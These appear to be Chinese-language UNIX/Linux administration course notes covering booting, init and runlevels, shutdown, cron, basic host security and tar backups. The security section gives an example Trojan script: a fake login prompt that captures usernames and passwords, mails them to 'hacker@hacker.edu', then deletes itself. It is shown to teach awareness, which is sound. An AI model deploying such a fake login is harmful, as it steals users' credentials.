1、1UNIX 系統管理PART資工四楊曜宗cs860709csie.ncu.edu.tw2一、 Linux 系統概述二、 開機與關機三、 工作自動化四、 系統安全五、 備份和還原一Linux 系統概述UNIX 作業系統是由核心(kernel),以及一些系統程式所構成的作業系統。當然不只如此而已,還包括了一些執行使用者工作的應用程式,所謂核心即是作業系統的引擎。系統核心專司連繫儲存媒体上的檔案、啟動程式並且同步執行數個程式、指派記憶体與其它資源給各式各樣的形成(processes)、收發來自網路的資料封包等等。系統核心本身所能執行的工作並不多,主要是協調與控管資源與程式,不過它所提供的工具可以經由
2、建構進而提供各項服務,它也可以防止任何人直接存取硬体,使用強制性的方式要求每一個人,使用它本身所提供的工具進行存取動作,以這種方法,系統核心即能對各別使用者提供一些保護,而系統核心所提供的工具在使用時,則是經由系統呼叫啟用。系統程式藉由使用系統核心所提供的工具,執行作業系統應具備的各式各樣的服務,系統程式及所有其它一般程式執行在系統核心的上層處,而這一層我們一般稱為使用者模式。系統程式與應用程式之間的差異在目的不同:應用程式工作焦點在符合並達成使用者的需求(電玩),然而系統程式專注在使整個系統運作正常,文書處理器即是應用程式;telnet 是系統程式,其實兩者之間的差異有時是相當模糊難辨的,不
3、過;可以以對系統的重要性來做大致性的分類。作業系統通常也可以包括編譯器以及他們所對應的函式庫(特定在 Linux 底下的 GCC 與 C 函式庫),然而並不是所有的程式語言皆將納入作業系統体係內,文件、有時甚至是遊戲,也可以成為它的一部分,傳統上,作業系統已經被安裝的磁帶或磁碟所定義,但是 Linux 卻仍是妾身未明。二開機與關機1. 概略開機開啟電腦系統開關將會把作業載入到主記憶体裡。這就稱為 開機(booting) 。這個名詞的由來是在形容把電腦想像成拉拔自己的鞋帶(bootstrap),其實真實情況沒有這麼簡單。在初期系統啟動階段,電腦首先載入一些程式碼一般稱為啟動載入器(bootstr
4、ap loader) ,啟動載入器依序載入並且啟動作業系統,啟動載入器通常在硬碟或軟碟上的固定位址上,為什麼要分成二個步驟原因是作業系統是龐大且複雜的,但是電腦載入第一階段的程式碼必須是非常小的 (幾百個 bytes),為了就是要避免韌体(firmware)太過於複雜。不同的電腦有不同的啟動程序,對於個人電腦而言電腦是讀取(它的 BIOS) 硬碟或軟碟裡面的第一個扇形區 (稱為 啟動磁區)這個磁區裡面包含啟動載入器,它從硬碟的其它地方載入作業系統。在 Linux 被成功載入之後,它就隨即初始化硬体與設備驅動程式,然後執行 init , init 開始準備讓使用者能登入系統的相關行程(proce
5、sses),其餘的詳細細節解釋如下:2. 深入了解開機程序3您可以從軟碟片或者是從硬碟啟動 Linux 系統。當個人電腦被啟動, BIOS 會做各種測試來確認一切是否正常。然後才正式開始啟動系統,它會選擇磁碟機 (傳統是第一個軟碟機,如果您的軟磁機有插入軟碟片,就會選擇軟碟機不然的話是第一個硬碟,如果兩者皆有的話,其實優先順序是可以組態的) 並且讀取第一個扇形區,這個磁區稱為 啟動扇形區;若是硬碟的話,它就被稱為 主要啟動記錄(master boot record) ,由於硬碟可以包含數個分割區,每一個分割區都有它們自己的啟動磁區。啟動磁區包含了一個小程式 (小到剛好可以塞入一個扇形區) 這個
6、小程式的責任就是從硬碟讀取作業系統並且啟動它,如果是從軟碟片啟動 Linux ,這個啟動磁區包含了一小段的程式,而這一小段的程式只是用讀取前幾百個區塊到 (這要依據實際的核心大小而定) 記憶体裡的預設位址上,在 Linux 啟動軟碟片上是沒有檔案系統的,核心只是被儲放在連續性的磁區上,這樣可以簡化啟動程序,若要使用有檔案系統的軟碟片啟動系統也是可以的,那您就使用 Linux 載入器( LInux LOader) LILO。 若是從硬碟啟動系統,儲放在主要啟動記錄的程式碼會去檢查硬碟分割表, (也儲放在主要啟動記錄裡),確認啟動分割區 (這個分割區會被標記成可做為啟動系統的分割區 ),從這個啟動
7、分割區讀取啟動磁區,並且啟動儲放在啟動扇形區裡面的程式碼,這個儲放在啟動分割區裡面的啟動磁區的程式碼,所執行的工作跟軟碟啟動的程式是一樣的:它會從啟動分割區讀取核心並且啟動它,儲放在啟動分割區裡面的啟動磁區的程式碼是無法以連續性的方式讀取磁碟,它必須去找尋檔案系統所放置的啟動磁區位置,解決這個問題可以用好幾種方法解決,但是最普遍使用的方法是使用 LILO , (關於詳細如何做是跟現在討論的話題是無關的,不過;詳請可以請看 LILO 文件,它是最完整的)若是使用 LILO 啟動,它一般是最先被讀取的並且啟動預設核心,當然也可以組態 LILO 在數個核心之間選取其中一個來啟動,或者不是選擇 Lin
8、ux 而是其它系統也可以,在系統啟動階段時也可以讓使用者選擇那一個核心或是那一種作業系統。 LILO 可以使組態成當某人在啟動階段時按住 alt, shift, 或 ctrl 鍵時 (當 LILO 被載入時), LILO 將會主動詢問要啟動那一個並且立刻不啟動預設的,另一種方式; LILO 可以被組態成每一次都會主詢問,還有一個等待時間(timeout)的參數用來設定 LILO 將等待使用者多少時間去考慮,如果超過等待時間 LILO 就自動啟動預設核心。LILO 也可能給予核心 一行命令列參數 ,在核心或作業系統名稱後面。不管是從軟碟片啟動還是從硬碟啟動都各有它們的優缺點,但是一般從硬碟啟動系
9、統是比較好的,因為硬碟比較穩定而且也比較快,不過;安裝系統用來從硬碟啟動是相當麻煩的,所以許多使用者會先從軟碟片啟動開始,然後當系統安裝好了而且也正常運作了,才開始安裝 LILO 並且從硬碟啟動系統。在 Linux 核心被讀入到主憶体裡之後,不管是用什麼方式,大概會以下的事情: Linux 核心被安裝成壓縮狀,所以首先它自己要先自我解壓縮,核心啟動檔的開頭包含了一個小程式就是專司做這種事的。 如果您有一張 super-VGA 卡 Linux 能夠辨識出,並且就會有一特別的文字模式, Linux 會問您要使用那一種模式,在核心編譯的時候,它可能預設一視訊模式了,那麼它就永遠不會詢問您了,這種可以
10、使用 LILO 或 rdev 命令。 之後;核心檢查是否還有其它的硬体 (硬碟、軟碟、網路卡等等),並且適當的組態一些它自己的設備驅動程式,當在做以上這些動作時,它會顯示出它所找到的東西,例如我啟動的情形;類似如下: LILO boot:Loading linux.Console: colour EGA+ 80x25, 8 virtual consolesSerial driver version 3.94 with no serial options enabledtty00 at 0x03f8 (irq = 4) is a 16450tty01 at 0x02f8 (irq = 3) is
11、 a 164504lp_init: lp1 exists (0), using polling driverMemory: 7332k/8192k available (300k kernel code, 384k reserved, 176k data)Floppy drive(s): fd0 is 1.44M, fd1 is 1.2MLoopback device initWarning WD8013 board not found at i/o = 280.Math coprocessor using irq13 error reporting.Partition check:hda:
12、hda1 hda2 hda3VFS: Mounted root (ext filesystem).Linux version 0.99.pl9-1 (rootsun1) 11/07/2000 14:12:20在不同的系統上數值是有所不同的,這要端賴有什麼樣的硬体而定使用什麼樣的 Linux 版本,以及您如何組態您的系統。 然後核心會試著掛載 root 檔案系統,這個地方可以在核心編譯時加入組態,或者任何時候都可以使用 rdev 或 LILO ,檔案系統型態會自動的被偵測出,如果 root 檔案系統的掛載失敗,例如因為您忘記在核心裡面包含相對應的檔案系統驅動程式,核心會不知所措( kernel
13、panics )並且暫停系統 (也就是系統會當在那裡)。 root 檔案系統通常被掛載成唯讀,這樣使得它在被掛載時可以去檢查檔案系統,如果是掛載成可讀寫去檢查檔案系統是不太妙的。 之後,核心開始 init 程式(儲放在 /sbin/init) 執行在背景裡 (這個行程(process)總是一號行程) 。 init 執行各式各樣的啟動事務,會啟開一些重要的背景監督程式。 init 然後切換到多重使用者模式,並且啟動一個 getty 做為虛擬控制台與序列線, getty 是一種程式可以讓使用者以文字模式的控制台登入系統,並且序列程式可以讓使用者以虛擬文字模式控制台及序列終端機登入系統。init 也
14、可能啟動一些其它的程式,不過這要看您是如何組態的而定。 initialization script:init1rc.S beginrc.serial beginrc.serial endrc.S endinit1 enter runlevel 5rc.M beginrc.inet1 beginrc.inet1 endrc.inet2 beginrc.inet2 endrc.font beginrc.font endrc.local beginrc.local endrc.M endlogin5之後;系統啟動完成,並且系統啟動成功且正常執行。3. Init 行程當核心已經自我啟動成功(載入到主記
15、憶体,並且會持續使自己保持在執行狀態,而且已經初始化好所有的設備驅動程式與資料結構),它靠著啟動一個使用者層級的程式完成它自己本身啟動程序的一部分。 init. 於是, init 永遠是第一個行程(process) (它的行程編號總是 1 ).核心尋找一些傳統會使用的位址來搜尋 init 但是存放它的適當位置 (在 Linux 系統上) 是 /sbin/init 。如果核心無法找到 init 它會嘗試執行 /bin/sh ,如果又也失敗,那麼系統啟動就失敗了。當 init 啟動時,它藉由執行許多管理工作而達到完成啟動程序,例如檢查檔案系統,清除 /tmp ,開啟各種服務,並且為每一個終端機與與
16、能讓使用者登入系統的虛擬控制台啟動 getty 程式在系統正常啟動起來之後, init 在使用者登出系統之後為每一個終端機重新啟動 getty (以至於下一個使用者可以登入系統). init 也會認養失去連繫的行程(processes):所謂失去連繫的行程指的是某一個行程啟動了一個子行程然後它自已卻比它的子行程早死,這個子行程立刻變成 init 的行程,這是一個在技術面上很重要的,了解這個概念也是好的,這樣使您更容易了解行程清單( process lists )以及行程樹圖表。組態 init 去啟動 getty : /etc/inittab 檔當它啟動起來的時候 init 會去讀取 /etc/
17、inittab 組態檔,正值系統在運作時,它將會重新讀取它,如果送出 HUP 訊號; 1這個功能在啟動系統使得對 init 組態的變更生效是沒有必要的。The /etc/inittab 檔是有一點複雜,我們以組態 getty 的文字列做為簡單的開始,在 /etc/inittab 裡面的文字列由四個所隔開的欄位所組成: id:runlevels:action:process這幾個欄位說明如下,除了 /etc/inittab 可以包含空白列之外,文字列是以號碼符號做為起頭 (#) ;有二個被忽略, id在這個檔案裡頭這個識別這列用的,用在 getty 文字列上,它是指定執行 終端機用的,對於其它文
18、字列而言,是無關緊要的但是它應該是唯一才行(除了長度限制之外 )。執行層級(runlevels)執行層級的文字列應該如此考量,執行層級假定成單一數字,沒有分隔字元。行為(action)什麼樣的行為應該被文字列所採用,例如; respawn 在下一個欄位再執行這個命令,它離開時,或 once 只執行一次。行程(process)執行命令 為了要在第一個虛擬端終機啟動 getty (/dev/tty1),在所有一般的多重使用者執行層級(2-5),將會寫入以下文字列: 1:2345:respawn:/sbin/getty 9600 tty1第一個欄位表示這是給 /dev/tty1 的文字列,第二個欄位
19、表示它適用執行層級 2, 3, 4, 與 5 ,第三個欄位表示這個命令應該再執行,它離開之後 (以便其它使用者可以登入、登出並且再度登入 ),最後一個欄位是在第一個虛擬終端機上執行 getty 的命令。6如果您想要新增終端機或撥入式數據機的文字列到系統您應該增加幾列到 /etc/inittab ,一列是給每一個終端機或者撥入文字列,請情請看命令說明檔。 init, inittab, 與 getty.當它啟動時一個命令失敗, init 會追蹤它重新啟動一個命令多頻繁,是否重新啟動的頻繁太高了,再重新啟動之前它會延遲五分鐘。4. (執行層級)Run levels執行層級即是一種 init 的狀態,
20、並且也是整個系統用來定義正在運作的系統服務的型態,執行層級是由許多數定義出,看 表 7-1 ,說實在對如何使用使用者定義的執行層級是完全沒有一致的看法, (2 到 5),某些系統管理者使用執行層級來定義正在運作的子系統,例如;是否 X 正在執行,是否網路是在運作,等等,其它還有以所有的子系統皆在運作或者是個別的啟動與停止它們。如何改變您的執行層級這全要依您自己的決定,最容易的方法應該算是依照您所持有 Linux 流通版本而定就對了。表: 執行層級編號0 停止系統 1 單一使用者模式 (提供特別管理需求使用)。 2-5 一般操作 (由使用者定義的)。 6 重新啟動 執行層級組態在 /etc/in
21、ittab 裡面連接情形類似如下: l2:2:wait:/etc/init.d/rc 2第一個欄是仲裁標籤,第二個意謂著代表執行層級等級二,第三個欄位意謂著 init 命令應該執行第四個欄位的命令一次,當進入執行層級後,並且 init 應該等待它完成, /etc/init.d/rc 命令在進入執行層級二(run level 2)時是絕對必要用來啟動與停止服務的命令。在第四個欄位的命令進行所有設定一個執行層級的重要工作,它啟動尚未執行的服務並且停止不應該在新層級出現的服務,那正確的說這個命令是在做什麼呢?這要看如何組態執行層級而定,也要端賴 Linux 流通版本的差異而定。當 init 啟動時,
22、它會去 /etc/inittab 檔案裡面尋找指定預設執行層級的命令列: id:3:initdefault:您可以給予核心一列命令列參數要求 init 執行非預設的執行層級,命令列參數可以用 single 或 emergency 。核心命令列參數可以經由 LILO 指定,例如;這樣可以允許您有能力選擇單一使用者模式 (執行層級一(run level 1)。在系統正在執行時, telinit 命令可以改變執行層級,當執行層級被改變了, init 就會從 /etc/inittab 檔裡面執行相對應的命令。 5. 深入了解關機程序為了關閉 Linux 系統,首先系統通知所有的行程(processes
23、)終結掉,然後解除掛載檔案系統及置換區,最後可以關閉電源的訊息顯示到螢幕上,如果沒有依照適當的關機程序,那麼可能會發生不可收拾的局面,最重要的是檔案系統的快取緩衝區可能沒有被清除掉,也就是意謂著殘留在快取緩衝區裡面的資料已經流失掉了,而且硬碟上的檔案系統呈現不一致的狀態,並且因此可能該硬碟將無法使用。正當的關閉 Linux 系統的命令是 shutdown 命令,它只是二種關閉方法的其中一種而已。如果您正在執行一個只有一個使用者的系統, 通常使用 shutdown 關閉所有的程式,登出所有的虛擬控制台( 7consoles ),以 root 登入 (或者您已經是 root 的話那就繼續保持 ro
24、ot 帳戶身分,若您要避免沒有完全掛載的問題,)那麼下底下的命令: shutdown -h now ( now 這個參數也可以用其它的符號或指定您要延遲幾分鐘關機,然而在單一使用者的模式您是不必去指定要延遲數分鐘關機的。)。另一種關閉方法;如果您的系統有許多的使用者, 如果您的系統有許多的使用者,使用如下命令: shutdown -h +time message, time 是指定系統被關閉時是以分鐘為單位指定的,而 message 只是簡短的警告訊息而已。 # shutdown -h +10 We will install a new disk. System shouldbe back o
25、n-line in three hours.#這就是警告每一個使用者本系統將在十分鐘內關閉,並且每一個使用最好趕快閃人要不然的話它們的資料會統失掉,警告訊息顯示到每一個載入到系統的終端機上,包括了所以的 xterms: Broadcast message from root (ttyp0) Tue Jun11 07:03:25 2000.We will install a new disk. System shouldbe back on-line in three hours.The system is going DOWN for system halt in 10 minutes !以上
26、警告訊息在啟動之前每隔幾分鐘就重複顯示一遍,而隨著越來越接近關機時間顯示的間隔時間就越來越短。在指定的關機延遲之後就進行真正的關機程序,所有的檔案系統 (除了 root 以外) 皆被解除掛載,使用者行程( processes ) (如果仍然有使用者存留在系統裡) 會被系統刪除掉,服務監視程式(daemons)被關閉,所有的檔案系統被解除掛載,當一切都搞定後關機就完成了。 init 顯示您可以關閉電源的訊息到您的螢幕上,現在您只要簡單的將您的手指指向電源開關即可。有時候;在好的系統也會出現無法正常關機的情況,例如;如果核心不知所措(kernel panics) 及當掉了與燒掉了,通常就無法執行正
27、常程序,這時候完全不可能對系統下任何命令,因此想要正常關閉系統是有一點困難的,而這時候您所能祈求上天不要對您的系統造成太大的傷害,然後關機吧!如果問題是不嚴重的話,那麼核心與 update 程式仍然會正常執行,等待些許分鐘讓 update 程式有機會去清除您的快取緩衝區可能是一個可接受的想法, 之後再關閉電源。某些人喜歡使用 sync 命令來關閉電腦三次,等待磁碟 I/O 關閉,然後關閉電源,如果沒有正在執行的程式,其實這種方法同等於使用 shutdown 命令一樣,不過;它不會解除掛載任何檔案系統而且會造成 ext2fs 檔案系統問題(clean filesystem) 旗標狀態不一致。(三
28、次 syncs 是早期用在 UNIX 的,各別的鍵入之後通常會給予大多數磁碟 I/O 有充足的時間完成。) 6. 重新啟動重新啟動意謂著再一次的重新啟動系統,這種情形的發生像是當您徹底的關閉系統時,關閉電源,然後再開啟電源,不過一個比較簡單的方法就是叫 shutdown 命令去重新啟動系統,並不是只是停機而已,如果是要這樣的話您可以增加 -r 的參數到 shutdown 後面,例如;如下命令格式 shutdown -r now 。大多數 Linux 系統偵測到使用按下 ctrl-alt-del 鍵時會執行 shutdown -r now 命令,這樣就會重新啟動系統,按 ctrl-alt-del
29、 所產生的回應是可以用組態的,不過;在多人使用者的電腦上最好是替使用者預留一些延遲時間,當按下 ctrl-alt-del 鍵時每一個使用者可能被組態成動彈不得,其實系統對每一位的使用者仍然是可及性。7. 單一使用者模式The shutdown 命令也可以用來將系統轉變成單一使用者模式,在這種模式之下任何使用者皆無法登入系統,然8而 root 可以使用控制台( console) 登入,這在進行系統管理工作時是相當有用的,例如機器要保持在正常開機狀態。三、工作自動化crontab 寫法/etc/crontabSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr
30、/binMAILTO=rootHOME=/# run-parts17 * * * * root run-parts /etc/cron.hourly02 4 * * * root run-parts /etc/cron.daily22 4 * * 0 root run-parts /etc/cron.weekly42 4 1 * * root run-parts /etc/cron.monthlyshell script四、系統安全網路主機之安全性關係著網路服務之品質,應特別注意其基本之防護。網路安全之基本防護 : 注意 密碼 之設定,不可易猜,更不可因方便而記錄在筆記或檔案中。 離開已登入之
31、主機應 logout ! 目錄權限特伊洛木馬#!/bin/shecho “Trying $1”echo “Connected to $1.”echo “ ”echo “SunOS 5.7”echo “ ”echo “$1login”read IDecho “password: “read PWecho “Login incorrect.”echo “User $ID and Password $PD” | mail hackerhacker.edurm $09kill 9 $PPID遠端登入除非必要,儘量不以 su 轉換為 root ,以防 root 之密碼被攔截! 常查看系統之記錄檔 ( 如
32、 /var/log/secure ) ,檢查是否有不當之登入者入侵。 限制 遠端 登入之 IP 位址。限制 遠端 登入之 IP 位址 : 網路主機最常被侵入之途徑是經由 telnet 。可以透過限制 其 IP 達到基本之防護。/etc/hosts.deny : 限制登入 位置 內容簡例:in.telnetd : ALL ( 除了 hosts.allow 內所指定之 位置外,全部限制 ) /etc/hosts.allow : 允許 登入 位置 內容簡例: in.telnetd : 140.115.0.0/255.255.0.0 ( 允許 140.115.0.0 此段 Class B 登入 ) i
33、n.telnetd : 140.115.0.0/16 ( 允許 140.115.0.0 此段 Class B 登入 ) 移除不必要的服務/etc/inetd.conf# Service Type Socket Type Protocol wait/nowait User Server Program Server Arguments ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd shell stream tcp
34、nowait root /usr/sbin/in.rshd in.rshd login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd comsat dgram udp wait root /usr/sbin/sat sat talk dgram udp wait root /usr/sbin/in.talkd in.talkd 最重要的是 系統之資料備份。五、備份和還原備份是保護所投資的資料的一種方法,備份是將現有的
35、資料拷貝成好幾分,如果其中任何一分受到毀損都不會造成傷害 (唯一的成本就是使用備分的版本重建遭到毀損資料的部分 ). 適當的備份是重要的,一切就跟真實世界是一樣的,備份遲早會失敗的,做好備份是確保這些資料能正常使用的一部分,您不會想要看到您的備份失敗吧!屋漏偏逢連夜雨,您可能正在進行備份時遭遇到嚴重的當機,如果您僅有一種備份媒体,它也有可能遭到摧毀,您剩下一顆無作用的硬碟。或者您可能會注意到,當您在回儲資料時,您才想到您忘了備份到一些重要的資料,像是在有 15000 個使用者網站的使用者資料庫,最重要的;所有您的備份可能一切正常的運作,然而最後更新的磁帶機讀取到您過去使用的磁帶時會搞不清楚狀況
36、。選擇備份儲存媒体關於備份最重要的決策就是選擇備份媒体,您需要考慮到成本、可靠性、速度、有效性以及使用性的問題。可靠性是非比尋常最要的,因為殘缺的備份可以令人欲哭無淚,備份媒体必須能夠儲存資料數年資料不會轉化,您使用媒体的方法也影響到備份媒体的可靠性,傳統上硬碟是非常可靠的,不過當作備份媒体它就非常不可靠的,如果它在相同的電腦充當您的備份的硬碟。速度通常是不重要的,如果備份可以無須互動的情況下完成,花二個小時去備份資料是無關緊要的,只要它無10須監視,換言之;如果備份無法在完全無須人為的干預之下完成的話,速度就是重要的。有效性明顯的是必要的,如果它是不存在的那您根本無法備份媒体,若考慮到未來的
37、儲存媒体的有效性較不重要,要針您的電腦選擇備份媒体否則遇到資料大災難時您可能無法回儲您的資料。使用性是考慮多常備份時一個很大的因素,較容易備份、較好備份,備份媒体一定不會是難於使用或使用起來枯燥乏味。傳統的替代方法是磁碟片與磁帶,磁碟片非常便宜,非常可靠,然而速度卻不快,容易取得但是對於巨大的資料量不太可行,磁帶雖然不貴但是還是有一點貴,非常可靠、速度快、容易取得,使用起來實分得心應手。還有其它的替代方法,它們通常不容易取得,不過如果那不是問題的話,它是就其它方面來看會是比較好的,例如;磁性儲存光學讀取的磁碟(MO)同時擁有軟磁片(它們是隨機存取,使得遇到回存單一檔案時能夠快速回存)及磁帶 (
38、儲存大量的資料) 的優點。 1. 選擇備份工具有許多可以用來製作備份的工具,傳統的 UNIX 使用備份的工具是 tar, cpio, 及 dump ,除此之外;有一大堆第三團体的軟体可用 (包括自由軟体及商業軟体) ,選用的備份媒体將會影響到工具的選用。tar 與 cpio 兩種是類似的,以備份的觀點來看兩者幾乎是一樣,這二個都有儲存磁帶的能力,並且從磁帶回存檔案。這兩個也幾乎有能力使用各種的儲存媒体,由於核心設備驅動程式負責處理低層級的設備,並且所有的設備看起來像是使用者層級的程式一樣。一些 UNIX 的 tar 與 cpio 版本遇到特殊的檔案時可能會有問題(象徵性連接、設備檔、有著非常長
39、的路徑名稱的檔案等等 ),不過 Linux 版本應該可以正確無誤處理所有的檔案。dump 不同之是在於它直接讀取檔案系統而不是經由檔案系統讀取,備份時的寫入也是特別不一樣的。 tar 與 cpio 是適用於記錄文件檔,然而它們也適用於備份工作。直接讀取檔案系統是有一些好處的,可以達到備份檔案時不至於影響到它們的時間戳記; 對於 tar 與 cpio 而言您將必須先掛載檔案系統成唯讀狀態,直接讀取檔案系統也較有效率,如果一切都需要備份,那麼完成備份工作無須太多的移動磁碟讀寫頭,主要的缺點是使得需要特定的備份程式來對應檔案系統形態, Linux dump 程式只了解 ext2 檔案系統。 2. 簡
40、易備份簡易備份計畫即是一次備份全部,備份全部包括上一次備份已經經過修改的也一併備份進行,第一次備份稱為 完整備份 ,其後的就稱為 遞增式備份 ,完整備份常常比遞增式備份花時間,這是因為有較多的資料需要寫入到磁帶裡頭去,而且一份完整備份可能無法完全塞入到一卷磁帶裡頭 (或軟磁片),不過話又說回來以遞增式備份回存來比較完整備份時要多花費好幾次備份手續才能達成,回存可以被最佳化以至於您總是可以從上一次的完整備份開始備份起,這種方式,備份時就得多花一點心力,回存頂多只是一份完整備份外加一份遞增式備份而已。 如果您每天都想要製作備份並且有六卷磁帶,您可以使用磁帶一用來做為第一次的完整備份 (某個星期五
41、),磁帶二到磁帶五做為遞增式備份 (星期一到星期四),然後您製作一個新的完整備份在磁帶六上 (第二個星期五) ,並且再開始使用磁帶二到五進行遞增式備份,要一直等到您備份起一份新的完整備份您才可以覆蓋磁帶一的內容,以防正當您在製作完整備份時發生無法弭補的錯誤,在您使用磁帶六來製作一份完整備份之後,您想要保留磁帶一在不同的地方,以便防止當您的其它備份磁帶遭到火神柔藺時,您仍然至少還剩下一點東西不至於屍骨無存,當您需要製作下一個完整備份時,您取回磁帶一並且將磁帶六留置在它所屬的地方。如果您不只有六卷磁帶,您可以使用多餘的磁帶用做完整備份用,每一次您製作一份完整備份,您就使用最舊的一卷,這樣子您就可以
42、完整備份下前幾個星期的備份,如果您想要找出一卷舊的、現在刪除的檔案、或者一11個舊版本的檔案先前的做法就有易於達成您的目的。使用如右命令備份 tar 使用 tar 很容易製作一份完整備份: # tar -create -file /dev/ftape /usr/src如果你的備份超過一卷磁帶,您需要使用 -multi-volume (-M) 參數: # tar -cMf /dev/fd0H1440 /usr/srctar: Removing leading / from absolute path names in the archivePrepare volume #2 for /dev/f
43、d0H1440 and hit return:#注意在您開始備份之前應該先格式化軟磁片,當 tar 要求一張新的軟磁片時,或者是使用另一個視窗或虛擬端終機然後去進行。 製作遞增式備份可以用 tar 使用 -newer (-N) 參數: # tar -create -newer 8 Sep 1995 -file /dev/ftape /usr/src -verbosetar: Removing leading / from absolute path names in the archiveusr/src/usr/src/linux-1.2.10-includes/usr/src/linux-1
44、.2.10-includes/include/usr/src/linux-1.2.10-includes/include/linux/usr/src/linux-1.2.10-includes/include/linux/modules/usr/src/linux-1.2.10-includes/include/asm-generic/usr/src/linux-1.2.10-includes/include/asm-i386/usr/src/linux-1.2.10-includes/include/asm-mips/usr/src/linux-1.2.10-includes/include
45、/asm-alpha/usr/src/linux-1.2.10-includes/include/asm-m68k/usr/src/linux-1.2.10-includes/include/asm-sparc/usr/src/patch-1.2.11.gz#不幸地; tar 遇到已經改變的節點資訊時是不會去留意的,例如;亦即它的權限位元遭到改變,或它的名稱被改變了。這可以使用 find 來弭補並且以現在的檔案系統狀態與先前已經備份起來一連串檔案做一比較, 用來做這種事指令檔及程式可以 Linux ftp 網站上找到。用 tar 回存檔案-extract (-x) 參數是提供給 tar 萃取檔
46、案用的: # tar -extract -same-permissions -verbose -file /dev/fd0H1440usr/src/usr/src/linuxusr/src/linux-1.2.10-includes/12usr/src/linux-1.2.10-includes/include/usr/src/linux-1.2.10-includes/include/linux/usr/src/linux-1.2.10-includes/include/linux/hdreg.husr/src/linux-1.2.10-includes/include/linux/kern
47、el.h.#您也可以在命令列上指定僅萃取特定的檔案或目錄 (包括它們的檔案以及子目錄 ): # tar xpvf /dev/fd0H1440 usr/src/linux-1.2.10-includes/include/linux/hdreg.husr/src/linux-1.2.10-includes/include/linux/hdreg.h#使用 -list (-t) 參數,如果您只是單純想要看看某一份備份冊號裡有什麼檔案而已: # tar -list -file /dev/fd0H1440usr/src/usr/src/linuxusr/src/linux-1.2.10-includes
48、/usr/src/linux-1.2.10-includes/include/usr/src/linux-1.2.10-includes/include/linux/usr/src/linux-1.2.10-includes/include/linux/hdreg.husr/src/linux-1.2.10-includes/include/linux/kernel.h.#注意 tar 總是連續地讀取備份冊號,那麼若遇到龐大冊號是就很難了,變得不太可能,不過當您使用磁帶機或其它循序媒体時到可使用隨機存取資料庫技術。 tar 無法適當的處理遭刪除的檔案,如果您需要從一份完整備份及一份遞增式備份回
49、存檔案系統時,在這二份之間您已經刪除了一個檔案,在您完成回存之後它仍然再度存在,這樣可能成為一個大問題,如果這個檔案有著不應該再存在的敏感性資料就會造成問題。3. 該備份什麼?您盡可能要去備份,除了可以容易重新安裝的軟裝是例外。 1但是它們可能有組態檔值得您備份的,以免您需要全部重新一次組態,另外一個主要的例外是 /proc 檔案系統;僅僅包含核心自動產生的資料,備份它並不是一個好想法,可預期的是 /proc/kcore 檔案是不必要的,它只是您目前實体記憶体的影像檔(image)而已,也非當龐大的。灰色地區包括 news spool、 日記檔以及許多在 /var 裡面的東西,您必需決定您認為什麼是最重要的。 明顯的備份就是在備份使用者的檔案 (/home) 以及系統組態檔 (/etc,不過可能還有其它需要備份的東西散佈在整個檔案系統裡。). 4. 壓縮備份備份佔據許多的空間,這麼多的儲存空間需要花費大筆的錢,為了降低儲存空間的需求,備份時可以使用壓縮,有數種壓縮的方法,一些程式支援內建壓縮,例如; -gzip (-z) 參數適用於 GNU tar 引導整個備份經